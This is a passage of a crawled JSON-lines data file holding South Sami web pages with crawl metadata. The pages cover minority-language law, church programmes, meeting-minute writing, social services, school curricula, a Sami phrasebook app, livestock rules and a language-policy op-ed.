nasjovnellen unnebelåhkojde jïh unnebelåhkoegïelide vaarjele guktie dej nuepieh jïh reaktah govledehtiemasse nænnoestidh.\nDah nasjovnellen unnebelåhkoeh jïh gïelh leah:\n- judarh (jiddish)\n- romerh (romani chib)\n- saemieh (saemien)\n- sveerjesåevmieladtjh (såevmien)\n- torneladtjh (meänkieli)\nLaake jeahta tjïelte edtja:\n- unnebelåhkojde bïevnedh laaken bïjre\n- govlehtehtemem vedtedh unnebelåhkoej åvtehkidie jïh dejgujmie rååresjidh\n- gaajhki unnebelåhkoej gïelh jïh kultuvrh vaarjelidh\/eadtjoestidh, sjïere fokuse maanide\n- dïenesjem vedtedh åejvieladtjebïeljelimmiem faaledh ellies jallh bielie såevmiengïelesne jis naakene dan mietie gihtjeme, jïh jeatjah unnebelåhkoegïeline jis barkijh gååvnese gïeh gïelem maehtieh\n- maana- jïh voeresehoksem faaledh ellies jallh ånnetji saemiengïelesne jïh såevmiengïelesne jis naakene dan mietie gihtjeme\nLaake åarjelsaemiengïelesne\nReerenasse lea bïevneseplaeriem dorjeme Laake unnebelåhkoej jïh unnebelåhkoegïeli bïjre jïh maam dïhte sæjhta jiehtedh dejtie ovmessie unnebelåhkoegïelide.\nUppdaterad 29 oktober 2019","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.huddinge.se\/organisation-och-styrning\/ansvar-och-organisation\/nationella-minoriteter-och-minoritetssprak\/sydsamiska\/","date":"2019-11-14T20:05:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668534.60\/warc\/CC-MAIN-20191114182304-20191114210304-00273.warc.gz","language":"sma","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999936819076538}","num_words":121,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Programmesne lea gyrhkesjimmieh, seminaarh, paneldigkiedimmieh, workshops, konserth, laavlometjåanghkoeh, vætnoemaarhna jïh maana- jïh noereprogrammh. Aktem sjïere programme ajve saemiej noeride ruffien 15-18 biejjide öörnien.\nProgramme dan bïjre tjuavkede: aalkoealmetjireaktah, måhtadimmiegyhtjelassh, jïh aaj ahte vihkeles koloniaale aerpine orrijidh jïh daerpiesvoetem akten saetnieskommisjovneste. Klimateværhtoedimmiej konsekvensh aalkoealmetjidie Arktisisnie digkiedibie jïh aaj vuelien ulmie saemien gærhkoejieliemisnie.\nBearjadahke Ruffien 16 biejjien\nSaemiej gærhkoebiejjieh aalka tsåahka 13.00 bearjadahke ruffien 16 biejjien akten ekumeniske aamhteseböönine gusnie liturgijem Karl Yngve Bergkåseste noerhtesaemiengïelesne lijrehten. Ärkebiskope Antje Jackelén edtja preejhkedh.\nProgramme jåerhkien akten paneeledigkiedimmine saetnieskommisjovnen jïh saemiej reaktaj bïjre jïh gærhkoen sijjie aktemieresne. Parallelle aaj seminariume dan bïjre lea guktie saemienvoete böönejieliemisnie vuesehten, workshop guktie noere gærhkosne årrodh jïh aaj filmevuesiehtimmiem \"Sameblod\".\nIehkeden böörien salmeståantetjidie saemien salmelaavloevuekiej mietie, prïhtjhgåetie jïh konserth Sara Ajnnakine jïh Jörgen Stenbergine (naaken dejstie artistijste mah upmejesaemiengïelem nuhtjijægan goh scenegïele jïh dajven vuekieh vaarjeligan.\nLaavadahke Ruffien 17 biejjien\nLaavadahke aalka akten ortodokse aejliesmaalestahkegyrhkesjimmine mij Rauno Pietarinen darjoen ovmessie gïeligujmie Aerviesjaevrien tjaebpies gærhkosne. Programmem laavadahken böörie panelesaakestimmiem vuelien bïjre jïh böönejielemen bïjre, filmevuesiehtimmieh filmijste Spárrooabban\" jïh \"Sameblod\", seminariume skuvlemojhtesi bïjre, teatereworkshope maanide, lohkehtallemh tjiehpiedæjjijste saemien gærhkoetjeahpoen bïjre, laavkomegyrhkesjimmiem mij Erva Niittyvuopio darjoen, panelesaakestimmie \"Mij heannede mijjen jïeligujmie Arktisisnie?\", workshop saemien vuekieh jaememen bïjre, seminariume \"Normh tsööpkedh\".\nIehkedsgyrhkesjimmiem, salmeboelhke, prïhtjhgåetie jïh konserte Johan Kitti jïh Anna Mareten ensembline (Johan Kitti orre cd-tjåanghkojne noerhtesaemiengïelesne olkese båata).\nAejlege ruffien 18 biejjien\nAejlege aalka panelesaakestimmine \" Nænnoes kultuvre jïh reaktam tjaatsan\", seamma aejkesne Bijpelesällskapet vuesehte noerhtesaemien jïh luvliesaemien barkoem bijpelejarkoestimmiejgujmie jïh aaj aktem fuelhkiedarjomh ålkone lea. Biejjide orrijieh aktem gyrhkesjimmine jïh aejliesmaalestahkine mah Birgitta Simmeste jïh Einar Bondevikeste darjoen.\nProgramme lea naemhtie ahte gåarede boelhkem gaavnedh gusnie ektine lidie kaeffiekåahpen lïhke, tjaebpies vætnoem maarhnesne åestede, vuesiehtimmide mïnnede saemien gærhkoetjeahpoen bïjre jïh aaj åenehks tuvrh darjoen vuesiehtimmiejgujmie daaroengïelesne jïh englaanten gïelesne vihkeles saemiej dajvi gåajkoe gyrhkesjimmiejieliemisnie, Saemien-sijhtese jïh Båeries gærhkoesæjjan. Maanah jïh noerh edtjieh nuepiem utnedh jïjtse darjomidie.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.svenskakyrkan.se\/programme-saemiej-grhkoebiejjide-2017","date":"2019-11-12T01:37:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664469.42\/warc\/CC-MAIN-20191112001515-20191112025515-00130.warc.gz","language":"sma","language_score":0.9999833107,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999833106994629}","num_words":298,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse tjåanghkoeh utnebe dellie byörebe tjåanghkoe-gohtjedimmiem jïh tjåanghkoe-referaatem tjaeledh. Dastegh edtjh tjåanghkose gohtjedidh, dellie tjåanghkoe-gohtjedimmiem tjåanghkoen åvtelen tjaalah dejtie mah edtjieh meatan årrodh. Tjåanghkosne akte almetje tjåanghkoe-referaatem tjaala.\nTjåanghkoe-gohtjedimmie\nSeedth tjåanghkoe-gohtjedimmiem aareh, sïejhmemes akten våhkoen tjåanghkoen åvtelen, guktie gaajhkesh mah gohtjedimmiem åadtjoeh maehtieh meatan årrodh jïh maehtieh aamhtesigujmie åahpenidh. Gosse tjåanghkoe edtja stoerre aamhtesh digkiedidh, dellie daamtaj aamhtese-paehperh aaj seedtie.\nGuktie gohtjedimmiem tjaeledh jïh sisvege\nMaahtah gohtjedimmiem tjaeledh goh akte byjjes prievie. Daah væhtah edtjieh meatan årrodh:\n- man såarhts tjåanghkose bööredh\n- gïeh gohtjedimmiem åådtjeme\n- gie tjåanghkose gohtjede\n- gusnie jïh gåessie tjåanghkoe edtja årrodh, jïh man guhkiem tjåanghkoe edtja vaesedh\n- mah aamhtesh dijjieh edtjede digkiedidh\nTjåanghkoe-referaate\nTjåanghkoe-referaate lea dïhte tjaaleldh vihtienasse mij soptseste maam almetjh jeehtin jïh nænnoestin tjåanghkosne. Referaatem tjuara tjaeledh jïh seedtedh dan varke gåarede. Referaatesne tjuara nuekies bïevnesh årrodh guktie akte almetje mij ij leah stïeresne orreme tjåanghkosne, maahta dam nuhtjedh juktie aamhtesigujmie jïh nænnoestimmiejgujmie åahpenidh.\nGuktie edtjh referaatem tjaeledh jïh referaaten sisvege\nGosse tjåanghkoe-referaatem tjaalah tjoerh saakeles årrodh jïh ih jïjtjedh mïeligujmie båetedh. Tjåanghkosne datne tsiehkie-baakoeh tjaalah, jïh dan varke goh gåarede tjåanghkoen mænngan datne notaatide tjaebpebe tjaalah. Daah væhtah edtjieh iktesth meatan årrodh:\n- magkeres tjåanghkoen bïjre referaate lea\n- gåessie jïh gusnie tjåanghkoe lij\n- gïeh lin stïeresne tjåanghkosne\n- mah aamhtesh tjåanghkoe digkiedi, jïh mah nænnoestimmieh dorjesovvin\n- refereenten nomme\nLissine daejtie vïjhte åejvie-væhtide såemies jeatjah bïevnesh aaj maehtieh meatan årrodh, goh akte læstoe dejgujmie mah edtjieh referaatem åadtjodh, jïh tïjje jïh sijjie minngeben tjåanghkose.\nBaakoeh\nSaemien\nDaaroen\ntjåanghkoe-gohtjedimmie\nmøteinnkalling\ntjåanghkoe-referaate\nmøtereferat\nstïeresne\n(er) til stede\njïjtjedh mïeligujmie\ndine egne meninger\ntsiehkie-baakoeh\nstikkord\nåejvie-væhta\nhovedpunkt\ntjaaleldh vihtienasse\nskriftlig bevis\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\n- Kjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173111","date":"2019-11-19T14:29:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670151.97\/warc\/CC-MAIN-20191119121339-20191119145339-00370.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":287,"character_repetition_ratio":0.121,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij lea Voestes viehkie sårkosne\nIj naaken almetje edtjh oktegh sårkosne årrodh. Dan gaavhtan Sveerjen gærhkoe leah åssjelh jïh tjïelke raerieh tjöönghkeme mestie ånnetji aelhkebe darjodh mijjide goh guejmiealmetjh daesnie gååvnesibie gosse naaken sårkosne. Ij maehtieh sårkoem jealadehtedh, men jis sårkoem juaka mubpine maahta daam ånnetji aelhkebe darjodh. Dah raeriej våarome lea Sveerjen gærhkoen guhkies dååjrehtimmie sorkijidie gaavnedidh jïh dåarjodh jïh lea ussjedamme goh voestes viehkiem, voestes aejkien gosse jaememe dåastoehtidh. Gaajhke sårkoe lea sjïere jïh ij naan saetniesvoetem jallh bïhkedimmieh gååvnesh mejgujmie maahta appliseradidh. Kaanne dan gaavhtan dan gellie ovvihtiesvoetem demtieh gosse mubpiej sårkoem gaavnedieh. Dej raeriejgujmie Sveerjen gærhkoe håhkesje maahta meatan årrodh gellieh maehtieh ånnetji jearsoes damtedh jïh buerebe ryöjredamme, guktie ij guhte baetsieh oktegh sov sårkosne.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.svenskakyrkan.se\/voestes-viehkie-sarkosne","date":"2019-11-21T12:03:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670770.21\/warc\/CC-MAIN-20191121101711-20191121125711-00121.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000052452087402}","num_words":119,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Yöjtedeåtnoe\nMissbruk\nIh daarpesjh såjhtoen jïh såjhtoehïejmen åvteste maeksedh. Mohte maahtah tjoeredh beapmoej jïh årromij åvteste maeksedh såjhtoehïejmesne jallh fuelhkiehïejmesne. Dïhte maaksa seamma jeenje biejjegen goh jis skiemtjegåetesne sujhtedh. Datne maahtah dååpmestovlese laejhtedh jis dåarjoem ohtsedih jïh idtji dam åadtjoeh. Sosiaaletjeanadimmie muvhten aejkien yöjtedeåtnoejh tjibredassijgujmie gïetede. Dejtie almetjidie gieh eah jijtje viehkiem sïjhth mohte gieh maehtieh yöjtedeåtnoste skiemtjejieh jallh jaemieh. Sosiaaletjeanadimmie tjuara voestes tjibredassijsåjhtoem lïenereaktese ohtsede.\nJeenjebh bïevnesh\nUpmejisnie årroeminie — sosiaaletjeanadimmien dåastovasse bieljeldh telefovne 090-16 10 02. Holmsundesne, Hörneforsesne jallh Sävarisnie årroeminie — tjïelten viekselasse ringkh 16 10 00, dov ierem tjïelkesh jïh gusnie årroeh dellie vijrebe riektes sæjjan beaja.\nSidan har granskats 2009-09-11","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/yojtedeatnoe.4.2aeb902411d30c9e460800061528.html","date":"2019-11-14T15:03:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668525.62\/warc\/CC-MAIN-20191114131434-20191114155434-00258.warc.gz","language":"sma","language_score":0.9999713898,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999713897705078}","num_words":96,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmieh 4. daltesen mænngan\nGoerehtæjjaMål for opplæringen er at eleven skal kunne\n- gyhtjelassh darjodh siebriedahkefaageles aamhtesi bïjre, ussjedidh jïh meatan årrodh faagesoptsestimmine dej aamhtesi bïjre\n- bïevnesh siebriedahkefaageles aamhtesi bïjre gaavnedh jïh åehpiedehtedh sjïehteladteme gaaltijijstie, aaj digitaale, jïh vuarjasjidh mejtie bïevnese lea nuhteligs jïh jaahkods\n- vihkeles nedtejiermiem nuhtjedh digitaale ektiebarkosne, jïh daajroem utnedh persovnevaarjelimmien njoelkedassi bïjre digitaale meedijinie\n- vuekieh nuhtjedh juktie bæjjese ryöknedh jïh klaassifiseradidh aelhkie siebriedahkefaageles goerehtimmine, jïh aelhkie dïejvesh åehpiedehtedh veahkan jïh stoeredahken bïjre diagrammine jïh tabelline\n- aelhkie tjaalegh tjaeledh siebriedahkefaageles aamhtesi bïjre, jïh vihkeles faagedïejvesh nuhtjedh\n- soptsesh almetji bïjre sjugniedidh jïh vuesiehtidh mah joekehts jieledenuepiej nuelesne jielieh, jïh jieledenuepide viertiestidh\n- vuesiehtimmieh vedtedh guktie almetjh joekehts mïelh utnieh, gaavnesjimmieh ovmessie almetji gaskem maehtieh dovne hijven årrodh jïh ovvaantoeh vedtedh, jïh empatijen jïh almetje-aarvoen bïjre soptsestidh\nHistovrijeMål for opplæringen er at eleven skal kunne\n- dïejvesidie dejpeli, daaletje tïjjen jïh båetijen biejjien nuhtjedh jïjtse bïjre jïh fuelhkien bïjre\n- soptsestidh guktie gierkie-aalterealmetjh vijrijinie jïh tjöönghkijinie veasoejin, jïh fantaseradidh dej voestes almetji bïjre mah laantese böötin jïengetïjjen mænngan\n- bïevnesh gaavnedh jïjtse maadtoeladtji bïjre mah akten göökten boelven gietjeste veasoejin, jïh soptsestidh guktie jieledevuekie, jieledenuepie jïh kjønnsråållah leah jorkesamme\n- dejpeli gïejh jïjtse voengesne damtijidh, jïh gietskies våarhkoeh jïh mojhtesemïerhkh goerehtidh\n- åejvievæhtah buerkiestidh ruevtie-aaltarisnie Saepmesne, jïh bronse-aalteren jïh ruevtie-aalteren bïjre Nöörjesne jïh Noerhtelaantine soptsestidh\n- soptsestidh guktie sertiestimmie bivtemesiebriedahkeste aalkoejieleme-ekonomijese jieledevuekiem jarkeli Saepmesne jïh Nöörjesne\n- soptsestidh man åvteste jïh guktie almetjh suehpeden 17.b. jïh goevten 6.b. heevehtieh, jïh naan jeatjah laanti nasjovnaalebiejjiej bïjre soptsestidh\nGeografijeMål for opplæringen er at eleven skal kunne\n- saemien jïh nöörjen nommh nuhtjedh, jïh hïejmesijjiem, hïejmetjïeltem, hïejmefylhkem, Saepmiem jïh Nöörjem kaarhtese bïejedh\n- nommem bïejedh dejtie Noerhtelaantine laantide jïh dejtie kaarhtese bïejedh, veartenemearojde jïh veartenebielide kaarhtese bïejedh, jïh geografeles dïejvesh kaarhtine gaavnedh\n- dam saemien jaepiegievliem buerkiestidh, jïh soptsestidh guktie jielede jïh barkoe leah ektiedamme daan geavlan\n- eatnemehammoeh, åtnoedajvh jïh sijjieh buerkiestidh viehkine eatnemem goerehtidh skuvlen jïh hïejmen lïhke, jïh saemien jïh nöörjen dïejvesh dejtie nuhtjedh\n- vihkeles eatnemi jïh eatnemehammoej bïjre soptsestidh Nöörjesne, naan jeatjah laantine jïh Saepmesne\n- sijjiej, almetji jïh gïeli bïjre soptsestidh, jïh aktem feelemem Saepmesne soejkesjidh jïh åehpiedehtedh\n- tjuvtjiedidh jïh vaaksjoehtidh elmie-otnjegi mietie, jïh buerkiestidh man åvteste tïjjejoekehtsh\nSiebriedahkedaajroeMål for opplæringen er at eleven skal kunne\n- vihkeles væhtaj bïjre saemien kultuvresne jïh jieledevuekesne daan biejjien soptsestidh,jïh saemiej statusen bïjre goh aalkoe-almetjh\n- jeerehtsi bïjre soptsestidh fuelhkiehammojne, jïh ektiedimmiej jïh laavenjassi bïjre fuelhkesne jïh slïektesne soptsestidh\n- vuesiehtimmieh vedtedh naan reaktide maanah utnieh, ovmessie veanhtadimmieh nïejth jïh baernieh sijjen aarkebiejjien dåastoeh, jïh soptsestidh guktie dah maehtieh veanhtadimmide dååjredh\n- goerehtidh guktie nïejth jïh baernieh beetnegh nuhtjieh, jïh tsiehkiej bïjre soptsestidh mah åtnoem tsevtsieh\n- aamhtesi bïjre soptsestidh mah leah seksualiteetese, raastebïejemasse, vædtsoesvoetese jïh seahkaræmman ektiedamme\n- bijjieguvviem njoelkedassijste darjodh mah tsiehkiem almetji gaskem sjïehtesjieh, jïh konsekvensh buerkiestidh jis njoelkedasside meadta\n- njoelkedassh hammoedieh jïh nuhtjedh gosse mubpiejgujmie ektine, jïh meatan årrodh demokrateles sjæjsjalimmine skuvlesiebriedahkesne\n- digkiedidh mah vuajnoeh almetjh utnieh reaktavoeten jïh seammavyörtegsvoeten bïjre\nSide 6 Av 10","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Kompetansemaal\/maahtoeulmieh-4.-daltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2019-11-22T16:19:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671363.79\/warc\/CC-MAIN-20191122143547-20191122172547-00418.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":466,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkiepresidente Aili Keskitalo jih staatetjaelije Anne Karin Olli lægan öörnedimmesne, learohkigujmie Saemien Jåarhkeskuvleste Kárášjohkesne.\nGïelevåhkoen sjïekenisnie Saemiedigkie lea evtiedamme Baakoegærjetjem «Saemesth munnjien» akten applikasjovnese, nommine «Saemesth!» Daate gærja edtja goh murreds bööredimmie årrodh aelkedh saemiestidh voestes gaavnedimmesne, aarkebiejjien jih feestesne. Daesnie ij naan leevles grammatihke, ajve nuhteligs jïh ij dan nuhteligs jiehtegh. Ajve aelkedh saemiestidh.\nBaakoegærjetje dorjesovvi kampanjen sjïekenisnie «Saemesth munnjien», men annje jeenjesh dan mietie gihtjieh. Saemiedigkie lea veeljeme dam digitaliseradidh, guktie edtja aelhkie årrodh dam nuhtjedh. Daelie maahtah dam meatan utnedh saaht gusnie leah, dan guhkiem dov lea smarttellefovne. Baakoeh jïh jiehtegh leah åarjel-, julev- jih noerhtesaemien gïelesne jïh naakenh dejstie aaj tjoejefijlh.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Baejhkoehtimmie-applikasjovneste-Saemesth","date":"2019-11-20T16:57:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670597.74\/warc\/CC-MAIN-20191120162215-20191120190215-00498.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":105,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ohtsedidh lea prosjeekte mij edtja vååjnesinie darjodh jïh daajroem vedtedh saemien kultuvreaerpien bïjre olkebielien daanbeajjetje båatsoeburriedajvem.\nSaemien åålmege gååvnesovveme låångkege raajeste Gaske-Sveerjesne. Jïh maaje jïjnjh gaaltijh dellie læjhkan daejrebe vaenie saemien kultuvrehistovrijen bïjre dennie dajvesne.\nIj leah barre akte saemien histovrije: Saemieh gïeh jielieh jïh hööllestih jïh jealeme jïh hööllestamme fïereguhte sijjine. Gaajhkh laehpieh fïereguhte laakan loedth dovne arkijvine jïh aaj eatnamisnie.\nGïeh lin dah åarjelsaemieh jïh guktie dej kulturaerpie vååjnesasse båetieh?","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ohtsedidh.se\/?lang=samsika","date":"2019-12-09T15:04:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540519149.79\/warc\/CC-MAIN-20191209145254-20191209173254-00534.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":72,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.236,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetiekreekh\nFylhkenålma dïedtem åtna gåetiekreekekonsesjovnelaaken åvteste, mij gaertjede man stoerre veahka snurkie- jïh ledtiebearkoste maam maahta darjodh fïerhtene laanteburrieeekesne. Båantah mah sijhtieh vielie darjodh, tjuerieh gåetiekreekekonsesjovnen bïjre syökedh. Öörnege edtja gorredidh dorjemasse juakasåvva gellide laanteburrieeekide.\nEdtja ohtsemem gåetiekreekekonsesjovnen bïjre tjïeltese seedtedh. Tjïelte raereste jïh aamhtesem Fylhkenålmese seedtie, mij ohtsemem gïetede jïh dam nænnoste. Staaten laanteburriereereme lea klååkemesuerkie.\nFylhkenålma aaj dïedtem åtna maaksoeöörnegi åvteste byögkeles stillemi jïh restriksjovni mietie gåetiekreekedorjemassesne, gåetiekreekh juvredajvine jïh maaksoe gosse sïrvem gåatoemisnie teehpeme (neavroeteehpeme).\nTjïelth leah voestesinstanse gåetiekreekedåarjose. Dah edtjieh utnijidie bievnedh, ohtsemidie gïetedidh jïh giehtjedimmieh tjïrrehtidh gaertieninie. Fylhkenålma lea iktedæjja jïh raeriestæjja tjïeltide. Staaten laanteburriereereme dïedtem åtna åejviemaaksoej åvteste.\nBeapmoevaaksjome dïedtem åtna kreekehealsoen jïh beapmoegïehtjedimmien åvteste. Staaten laanteburriereereme dïedtem åtna mielhkien veahkaöörnedimmien åvteste.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.fylkesmannen.no\/sma\/Laanteburrie-jih-beapmoe\/Gaetiekreekh\/","date":"2019-12-12T17:21:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540544696.93\/warc\/CC-MAIN-20191212153724-20191212181724-00117.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":118,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Læhkoeh biejjine – Vuorbbe biejvijn – Lihkku beivviin – Til lukke med dagen\n(06.02.2017)\nI dag er det 100 år sidan det fyrste samiske landsmøtet vart halde i Trondheim. Hendinga markerte tydeleg styrken i den samiske politiske rørsla i Norden.\nMållaget vil gjerne ønskje alle samar til lukke med jubileumsdagen. Samane har oppnådd store sigrar gjennom dei siste åra, og målfolket gler oss i lag med dykk. Vi feirar med å lese Samisk språkutval sine framlegg til ein sterkare språkpolitikk for dei tre samiske språka i Noreg. Framleis er det eit stort arbeid som står att, og målfolket er på lag med dykk i arbeidet for samisk språk og kultur.\n– Tankane bak det samiske språkarbeidet bør inspirere målfolket til ein ny språkpolitikk, skriv Magne Aasbrenn, leiar i Noregs Mållag. I dag vert kronikken trykt i Nationen. Under kan du lese han på sørsamisk. Nynorskversjonen kan du lese her.\nTjuetie jaepieh vaajmoegïeline\nDæjstan goevten 6. b. dellie 100 jaepieh mænngan dïhte voestes saemien rijhketjåanghkoe lij Tråantesne.\nDaate biejjie saemien åålmegebiejjine sjïdteme, jïh daan jaepien edtja 100-jaepienheevehtimmiem daan heannadæmman aavoedidh mij dan tjïelkelaakan faamoem vuesiehti dennie saemien politihkeles ïedtjesuerkesne Noerhtelaantine, akte ïedtjesuerkie mij daan baelien lea dåarjoem gellide sov krïevenassijste åådtjeme. Akte stoerre sjïeke saemide aktine guhkies ræjhtojne læhkoehtidh mij stoerre jarkelimmieh buakteme.\nVaajmoegïele\nÅnnetji vielie goh akte aske mænngan heevehtimmie aalka, govlehtimmiemierie nåhka NOU:se 2016:18 Vaajmoegïele – raeriestimmieh laakide, råajvarimmide jïh öörnegidie saemien gïelide. Daesnie moenehtse mij lea salkehtimmiem tjaaleme, raeriestimmieh buakta akten nænnoesåbpoe gïelepolitihkese dejtie golme saemien gïelide Nöörjesne.\nJis bïevnesem vaajmoegïelen bïjre låhka orrenöörjen tjelmiejgujmie, dle bååhperostoe man daamtaj lij maahteme baakoem orrenöörjen målsodh baakojne saemien teekstesne. Sijjeste aktem åehpies dåeriesmoeretjoelmem saemien gïelese hammoedidh dle lij maahteme aktem seamma åehpies dåeriesmoeretjoelmem hammoedidh orrenöörjen gïelese, jalhts doh gïelh orrenöörjen jïh saemien joekehts histovrijem utnieh.\nVaarjelimmie dej saemien gïeli bïjre lea tjïelkestamme gaskenasjonaale sjïehtedimmine jïh konvensjovnine, jïh aaj nasjonaale laakine. Daesnie gaajhkesh dovnesh maehtieh jïjnjem gaavnedh mah råajvarimmieh ohtsedieh juktie unnebelåhkoegïelh buerebelaakan gorredidh. Doh seamma mekanismh mah dovne saemien jïh orrenöörjen akten nåake tseahkan biejieh. Gærjagïele lea dïhte uvtemes tjaelemegïele saemien dajvine seammalaakan goh gærjagïele lea uvtemes tjaelemegïele orrenöörjendajvine Dellie vihkielommes haesteme sjædta guktie mijjieh stuerebe sijjiem gorredibie dejtie gïelide mej bijjelen stuerebe gïelh reerieh.\nByögkeles digkiedimmie orrenöörjen bïjre lea daamtaj dan ektiedimmien bïjre maam gærjagïelen utnijh mah jienebelåhkosne, orrenöörjen gïelese utnieh, sveekes orrenöörjenutniji jïjtsh sjaavnjoej bïjre båetijen aajkan. Vuastalimmie baaltegïeleöörnegen vööste jïh staateles årgaani dïedten vööste orrenöörjen nuhtjedh, åadtjoeh digkiedimmide reeredh. Ih naan sijjiem åadtjoeh vg.no'n åvtesæjrosne jallh buertien bïjre programmesne Dagsnytt 18 jis ajve tjoeperdh guktie edtjebe gïelemålsomem tjöödtjestidh Hallingdalesne, sijhtebe nuekies hijven orrenöörjenööhpehtimmiem gorredidh jallh struktuvri bïjre vaarjelidh mah orrenöörjen bæjjese steerieh.\nMoenehtse mij lea Vaajomoegïelem tjaaleme, ojhte råajvarimmieh goerehte mah edtjieh gïelh nænnoestehtedh jïh vaarjelidh. Jïh gïeleïedtjeladtjh byöroeh goltelidh gosse dah soptsestieh. NOU-bïevnesem tjïrrh Vaajmoegïele, Saemien gïelemoenehtse ojhte dejtie daerpiesvoetide hammoedamme mejtie unnebelåhkoegïelh utnieh.\nGïele maanagïertesne jïh skuvlesne\nDaan biejjien maanagïerth edtjieh maanide skuvlese ryöjredidh, jïh eadtjohkelaakan gïeleskreejreminie gïehtelieh. Akte goerehtimmie maam Landssamanslutninga av nynorskkommunar jïh Pirion aadtjen dorjeme vuesehte jeanatjommes gïeleskreejremistie maanagïertine dorjesuvvieh gaervies paahki tjïrrh gærjagïelesne. Gaatesjen dle lohkeme jïh laavlome jeenjemasth aaj gærjagïelesne maanide orrenöörjen dajvine. Saemien gïelemoenehtsen lea reaktoe gosse dah Vaajmoegïelesne vihtiestieh akte goerpe gosse daelie dan stoerre joekehtsh gïelereaktaj gaskem skuvlesne jïh maanagïertesne.\nMoenehtse veele jïh öörnegen mietie lïerehtimmiesuerkiem gïehtjede, jïh dejtie sijjide ohtsede gusnie reaktah jïh 